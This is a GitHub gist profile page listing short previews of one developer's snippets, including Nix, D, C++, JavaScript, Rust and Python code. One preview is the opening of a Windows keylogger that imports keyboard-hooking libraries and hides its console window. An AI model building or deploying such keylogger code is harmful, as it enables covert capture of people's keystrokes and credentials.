Skip to content

Instantly share code, notes, and snippets.

View Passeriform's full-sized avatar
🍞
Peckin' that bread

Utkarsh Bhardwaj Passeriform

🍞
Peckin' that bread
View GitHub Profile
@Passeriform
Passeriform / wallpapers.nix
Created April 23, 2026 00:39
Nix module for wallpaper switcher using AWWW and systemd timers
{
inputs,
config,
pkgs,
...
}: let
awwwPkg = inputs.awww.packages.${pkgs.stdenv.hostPlatform.system}.default;
wallpaperSwitcher = pkgs.writeShellScriptBin "wallpaper-random" ''
exec ${awwwPkg}/bin/awww img "$(find "${./wallpapers}" -type f | shuf -n 1)" --transition-type random
'';

IONAutoReconnect

The method is obsolete as of ION's new policy however, the script can be modified to be used for other signin based networks.

Because way too tired to login ¯\_(ツ)_/¯

{
const startButton = document.querySelectorAll(".vue-dialog-buttons > .vue-dialog-button")[1]
startButton.click()
const thinkPopulateButton = document.querySelector("#app > div > div > a.unselectable.br-pill")
// Until stats show up
const babySteps = (steps = 50) => {
for (let i = 0; i < steps; i++) {
thinkPopulateButton.click()
@Passeriform
Passeriform / keylogger.py
Created March 22, 2022 16:24
Basic keylogger snippet for windows
import win32api
import win32console
import win32gui
import pythoncom
import pyWinhook
import os
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
@Passeriform
Passeriform / static_module_inheritance_introspection.d
Created February 12, 2022 23:34
Easy single-file inheritance introspection in D
static foreach(T; __traits(allMembers, mixin(__MODULE__))) {
pragma(msg, T.stringof);
static if (
is(__traits(getMember, mixin(__MODULE__), T) : Preset)
&& !__traits(isSame, __traits(getMember, mixin(__MODULE__), T), Preset)
) {
// Enable if runtime validation required
// if(T == runtime_string_of_class_name) {
case T.toLower.stringof:
@Passeriform
Passeriform / parser.cpp
Created December 12, 2021 06:39
Program options subcommand parser (regex version)
// Parses string for subcommands starting from `!`
// ex: !list
std::regex_search(
input, // input string from cli (std::string)
command, // CliCommand enum with string conversion logic
std::regex("(?:^|\\n|\\r)(?:\\!)(list|of|subcommands|separated|by|pipe)($|[\n\r\s]+|[^\!]+)")
);
@Passeriform
Passeriform / ct_to_rt_methods.d
Last active December 12, 2021 06:40
Runtime method loading workaround for compile-time symbols in D (and potentially other languages)
// Statically populates dynamic named branches for each available method. Produces intermediate macro-evaluated code using inline constexpr
class SomeClass {
string call(string methodName, string[] args) {
method_switch: switch(methodName) {
static foreach(inspecting; __traits(allMembers, typeof(this))) {
case inspecting: {
static if(isCallable!(__traits(getMember, this, inspecting))) {
auto callable = &__traits(getMember, this, inspecting);
Parameters!callable arguments;
@Passeriform
Passeriform / sineAnimation.js
Created December 16, 2020 21:39
Sine wave animation and resolution
function setup({dots}) {
if (!document.getElementById("canvas")) {
canvas = document.createElement("canvas");
canvas.id = "canvas"
document.body.appendChild(canvas);
} else {
canvas = document.getElementById("canvas");
}
@Passeriform
Passeriform / custom_error.rs
Created October 20, 2020 08:22
Some mods on custom_error
/// Constructs a custom error type.
///
/// # Examples
///
/// ### Simple error
///
/// For an error with multiple cases you can generate an enum:
/// ```
/// use custom_error::custom_error;
///
@Passeriform
Passeriform / bombs_away.py
Created September 2, 2020 12:37
Google FooBar's 2 lengthiest question imo. Idk where to put them.
class DecisionTree:
def __init__(self, init, decisions):
self.mem = init
self.decisions = decisions
def buildPath(self, final, break_cond):
iter_mem = self.mem
for decision in self.decisions:
self.mem = (decision)(iter_mem)